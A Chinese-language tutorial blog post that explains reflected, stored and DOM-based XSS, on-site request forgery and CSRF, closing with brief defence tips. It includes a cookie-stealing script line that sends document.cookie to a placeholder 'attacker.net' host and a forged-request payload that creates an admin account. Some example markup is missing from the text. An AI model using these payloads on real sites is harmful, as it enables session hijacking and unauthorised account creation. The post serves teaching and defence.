摘要：请求伪造在跨站攻击中，攻击者需要获得受害者的会话令牌，请求伪造也与会话劫持相关，但是攻击者不需要知道受害者的会话令牌，就能够行驶受害者的权利。
差不多刚开始接触前端的时候，经常能看到一些早几年入行大牛们的简历，几乎所有人都会在简历中带上这么一句话：具备基本的 Web 安全知识（XSS / CSRF）。显然这已经成为前端人员的必备知识。
非常怀念那个 SQL 注入还没有被普遍认可的年代，虽然这么多年过去了，SQL 注入并没有消失，仍然是最危险的漏洞。关于 SQL 注入的原理，可以看我之前写的文章SQL 注入详解。今天是主题是 Web 安全的另外两大杀手，XSS 和 CSRF。
XSS 的分类XSS 漏洞有多种形式，分为三类，反射型、保存型和基于 DOM 的 XSS 攻击。这些漏洞的基本原理都是一样的，但是确定和利用漏洞方面又存在很大的差异，下面将对这三种漏洞详细介绍。
反射型 XSS 漏洞前面废话一大堆，还是没有说 XSS 漏洞到底是什么。如果一个 Web 程序可以动态的显示用户的错误消息，就有可能会产生反射型漏洞。
用户浏览网页时发送错误，向服务器请求 URL，比如www.xxx.com/error.php?message=sorry,an error occurred，然后服务器根据得到的 message，不进行过滤，复制到错误页面的模板中：
sorry,an error occurred
，返回给用户。这个漏洞有一个显著的特征，应用程序没有进行任何过滤或净化措施，就非常容易受到攻击。www.xxx.com/error.php?message=，当用户打开错误页面时，就会出现
，弹出一个消息框。显然，攻击人员不会很傻的仅仅 alert 一些消息，在 IE 中，如果开启跨站点脚本检测可能无法弹出消息。通常 XSS 都会伴随着会话劫持，攻击者截获通过验证的用户的会话令牌。劫持用户的会话后，攻击者就可以访问该用户授权访问的所有数据和功能。
比如攻击者构造一个这样的 URL，message 信息如下
var i = new Image; i.src="http://attacker.net/"+document.cookie;
这样被攻击者通过访问这个恶意的 URL，就会把 cookie 发送给黑客，黑客截获 cookie，就能执行用户的任意操纵。下图是一个简易的流程图：
这个图还有一个重要的点没有标明出来，就是前提是受害者要先登录到 Bank.com 的网站上。
由于浏览器的同源策略，直接向 attacker.net 发送 document.cookie 是无法获得 www.xxx.com 的 cookie，因为浏览器会对不同源（域）的内容进行隔离，这就是该漏洞被称为跨站脚本的原因。
保存型 XSS 漏洞保存型跨站脚本也是比较常见的漏洞，脚本通常保存在后端数据库中，不经过滤就存储并且显示给用户，此时就会出现这种漏洞。
与反射型的流程不同的是，保存型需要向服务器提出至少两次请求，第一次将含有恶意代码的数据提交给服务器，服务器将数据保存，第二次是受害者想服务器提出访问含有恶意代码数据的页面，恶意代码执行。
与反射型不同的是，保存型不需要一个专门设计的 URL 来接收 cookie，只需要将含有恶意代码的页面发给用户，等待受害者访问即可。不过，也可用保存型的漏洞来获取用户 cookie 进行劫持。
还有一个不同点，反射型的漏洞，必须要等受害者登陆后，才能保证 cookie 的正常获得，而保存型的漏洞，受害者一般是先登录，然后访问改站点有危险的页面。
举一个例子，比如某社交论坛存在保存型的 XSS 漏洞，黑客将自己的个人信息一栏修改成恶意的 JS 代码，改代码实现两个功能，首先受害者加自己为好友，其次修改受害者的个人信息为该恶意代码。黑客把个人信息保存并提交给服务器，只需要等受害者访问自己的个人信息页面，浏览器就会执行该恶意脚本，于是可怕的“蠕虫”就开始了。
基于 DOM 的 XSS 漏洞前两种 XSS 漏洞，都表现一种特殊的模式，就是应用程序提取数据并返回给受害者，而基于 DOM 的 XSS 不具有这种特点，攻击者是借助于 JavaScript 来展开攻击的。
用户请求一个经过专门设计的 URL，由攻击者提交，包括嵌入式的 JavaScript；
服务器的响应不包含任何攻击者的脚本，同时服务器也不会对 URL 进行检测；
当用户浏览这个响应时，脚本得以处理。
与反射型漏洞类似，都是对 URL 进行特殊构造，不同的是，反射型是由服务器处理 URL，而 DOM 型是由 JavaScript 脚本来处理。还以刚才那个反射型为例子，假设应用程序返回的错误页面包含以下 JS 脚本：
同样给受害者发送这样的链接 www.xxx.com/error.php?message=，也可以开展 XSS 漏洞攻击。基于 DOM 的漏洞不局限与 URL，还可以是页面某个 DOM 的内容，这和存储型的 XSS 又联系到一起。
这个时候就需要些 JS 的同学小心谨慎了，万一写出含有漏洞的代码，这锅得自己背。
请求伪造在 XSS 跨站攻击中，攻击者需要获得受害者的会话令牌，请求伪造也与会话劫持相关，但是攻击者不需要知道受害者的会话令牌，就能够行驶“受害者”的权利。请求伪造有两种，本站点请求伪造（OSRF）和跨站点请求伪造（CSRF），
OSRFOSRF 是一种利用保存型 XSS 漏洞的攻击载荷，如果在得知应用程序对 XSS 漏洞过滤的情况下，可以尝试 OSRF 攻击。
比如这是一个某站点 POST 请求，该站点过滤 XSS 攻击，
POST /submit.php Host: xxx.com Content-Length: .. type=question&name=ge&message=mes
然后该信息将会被插入到如下的 HTML 中：
ge mes
这个漏洞很容易利用，直接用 type 的值来表示 jpg 的name，然后我们构造 type 的值等于下面的内容（这不就是利用路径来搞事吗），
../admin/newuser.php?username=test&password=123&role=admin#
使用上面的介绍，相对应的构造一个表单提交，创建一个管理员权限的用户，普通用户点击是不会成功的，因为权限不够，但是如果是管理员点击该链接的话，就会创建一个秘密账户，所以，即时对 URL 禁用了 JavaScript 脚本，还是可以通过 OSRF 攻击成功。
在攻击字符串的最后使用了 # ，是为了对 .jpg 进行屏蔽，也可以添加 & 组成另一个参数。
以上便是一个简单的本站点请求伪造的例子。
CSRF跨站点请求伪造才是跨站伪造的重点内容，攻击者只需要创建一个看似无害的网站，致使受害者的浏览器直接向易受攻击的服务器提交一个请求，执行恶意代码。
仍然需要考虑同源策略，仍然以管理员创建新用户为例，
POST /newUser.php HTTP/1.1 Host: xxx.com Cookie: SessionId=... Content-Length: .. name=ro&userrole=admin&password=123456&confirmpassword=123456
黑客构造的网站会提交一个 form 表单，并想办法让 form 隐藏：
<
当管理员已经登陆的情况下，访问这个恶意网站的时候，就会提交这段脚本，管理员都不知情。因为管理员已经登陆，无需考虑 Cookie 的问题，一个简单的 CSRF 如此。
总结其实攻击很简单，主要的还是如何防御，比如
对一些关键字和特殊字符进行过滤或 URL、HTML 编码，"<>?"或"script，javascript"；
Cookie 防盗，在 Cookie 中防止放入用户名和密码，对 Cookie 信息进行 MD5 等算法进行多次散列存放，必要时还要对 ip 和 cookie 进行绑定，一旦检测异常，立马让用户重新登录；
严格控制 URL 访问，对于一些挂马的 ip 和域名，强制无法访问；
等等
共勉。
参考跨站脚本攻击介绍
那些年我们一起学 XSS
总结 XSS 与 CSRF 两种跨站攻击
书籍：《黑客攻防技术宝典 Web实战篇》
欢迎来我博客交流。
文章版权归作者所有，未经允许请勿转载,若此文章存在违规行为，您可以联系管理员删除。
转载请注明本文地址：https://www.ucloud.cn/yun/91201.html
摘要：但最近又听说了另一种跨站攻击，于是找了些资料了解了一下，并与放在一起做个比较。脚本中的不速之客全称跨站脚本，是注入攻击的一种。 XSS：跨站脚本（Cross-site scripting） CSRF：跨站请求伪造（Cross-site request forgery） 在那个年代，大家一般用拼接字符串的方式来构造动态 SQL 语句创建应用，于是 SQL 注入成了很流行的攻击方式。...
摘要：它允许恶意用户将代码注入到网页上，其他用户在观看网页时就会受到影响。这类攻击通常包含了以及用户端脚本语言。更偏向于方法论，更偏向于一种形式，只要是伪造用户发起的请求，都可成为攻击。 这两个关键词也是老生常谈了，但是还总是容易让人忘记与搞混~。XSS与CSRF这两个关键词时常被拉出来一起比较（尤其是面试），我在这里也在写一篇扫盲文，也帮自己整理一下知识脉络。 这篇文章会用尽量人话的语言解...
摘要：它允许恶意用户将代码注入到网页上，其他用户在观看网页时就会受到影响。这类攻击通常包含了以及用户端脚本语言。更偏向于方法论，更偏向于一种形式，只要是伪造用户发起的请求，都可成为攻击。 这两个关键词也是老生常谈了，但是还总是容易让人忘记与搞混~。XSS与CSRF这两个关键词时常被拉出来一起比较（尤其是面试），我在这里也在写一篇扫盲文，也帮自己整理一下知识脉络。 这篇文章会用尽量人话的语言解...
摘要：可能造成危害利用已通过认证的用户权限更新设定信息等利用已通过认证的用户权限购买商品利用已通过的用户权限在留言板上发表言论。二说说你说了解的前端性能优化方面减少请求合并文件精灵减少查询查询完成之前浏览器不能从这个主机下载任何任何文件。 一、说说你所知道的web安全及防护措施 常用攻击手段：SQL注入、XSS(Cross Site Script)，跨站脚本攻击、CSRF(Cross Sit...
阅读 1784·2023-04-26 00:47
阅读 1543·2021-11-11 16:55
阅读 2596·2021-09-27 14:04
阅读 3547·2021-09-22 15:58
阅读 3553·2021-07-26 23:38
阅读 2129·2019-08-30 13:47
阅读 1979·2019-08-30 13:15
阅读 1141·2019-08-29 17:09
